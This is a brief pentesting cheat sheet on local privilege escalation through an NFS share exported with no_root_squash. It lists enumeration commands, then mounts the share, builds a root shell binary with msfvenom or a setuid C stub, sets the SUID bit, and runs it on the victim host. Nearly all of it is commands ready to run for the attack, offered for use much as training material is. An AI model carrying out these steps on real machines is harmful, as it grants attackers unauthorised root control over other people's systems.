No_root_squash option
Enumeration
# linpeas will detect the no_root_squash option
./linpeas.sh
# Manual Check
cat /etc/exports
# /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
cat /etc/lib/nfs/etabExploitation
# Check export list
showmount -e 192.168.142.154
# Mount the nfs share at kali
mkdir /tmp/nfs
mount -o rw,vers=2 192.168.142.154:/tmp /tmp/nfs
# Create a shell
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
# or
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell.elf
# Add SUID bit
chmod +xs /tmp/nfs/shell.elf
# Run the shell on victim machine
/tmp/shell.elf Last updated